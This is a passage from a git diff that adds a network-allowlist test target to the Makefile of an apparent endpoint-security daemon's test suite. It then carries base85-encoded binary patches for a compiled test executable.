$(DAEMON_DIR)/sig_loader.o $(DAEMON_DIR)/scanner.o $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) -test_event_pipeline: test_harness.o test_event_pipeline.o $(DAEMON_DIR)/event_pipeline.o $(DAEMON_DIR)/policy.o $(DAEMON_DIR)/scanner.o $(DAEMON_DIR)/preload_detect.o $(DAEMON_DIR)/process_tree.o +test_event_pipeline: test_harness.o test_event_pipeline.o $(DAEMON_DIR)/event_pipeline.o $(DAEMON_DIR)/policy.o $(DAEMON_DIR)/scanner.o $(DAEMON_DIR)/preload_detect.o $(DAEMON_DIR)/process_tree.o $(DAEMON_DIR)/net_allowlist.o $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) test_integrity: test_harness.o test_integrity.o $(DAEMON_DIR)/integrity.o $(DAEMON_DIR)/hmac_sha256.o @@ -88,6 +89,9 @@ test_process_tree: test_harness.o test_process_tree.o $(DAEMON_DIR)/process_tree test_hmac_sha256: test_harness.o test_hmac_sha256.o $(DAEMON_DIR)/hmac_sha256.o $(DAEMON_DIR)/integrity.o $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) -lssl -lcrypto +test_net_allowlist: test_harness.o test_net_allowlist.o $(DAEMON_DIR)/net_allowlist.o + $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) + # Daemon objects needed by tests $(DAEMON_DIR)/%.o: $(DAEMON_DIR)/%.c $(CC) $(CFLAGS) $(DEPFLAGS) -c -o $@ $< @@ -108,7 +112,7 @@ clean: $(RM) $(DAEMON_DIR)/policy.o $(DAEMON_DIR)/scanner.o $(DAEMON_DIR)/heartbeat.o $(RM) $(DAEMON_DIR)/bpf_event_convert.o $(DAEMON_DIR)/sig_loader.o $(RM) $(DAEMON_DIR)/event_pipeline.o $(DAEMON_DIR)/integrity.o $(DAEMON_DIR)/hmac_sha256.o - $(RM) $(DAEMON_DIR)/self_protect.o $(DAEMON_DIR)/debugger_detect.o $(DAEMON_DIR)/preload_detect.o $(DAEMON_DIR)/process_tree.o + $(RM) $(DAEMON_DIR)/self_protect.o $(DAEMON_DIR)/debugger_detect.o $(DAEMON_DIR)/preload_detect.o $(DAEMON_DIR)/process_tree.o $(DAEMON_DIR)/net_allowlist.o $(RM) $(DAEMON_DIR)/*.d -include $(wildcard *.d) diff --git a/tests/test_bpf_loader b/tests/test_bpf_loader index b205a6982085de84cf162140b6688d5493860035..74906b7e0454ee9864dd569c77490032f639eef8 100755 GIT binary patch literal 25448 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 E2f_OLUH||9 delta 5279 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 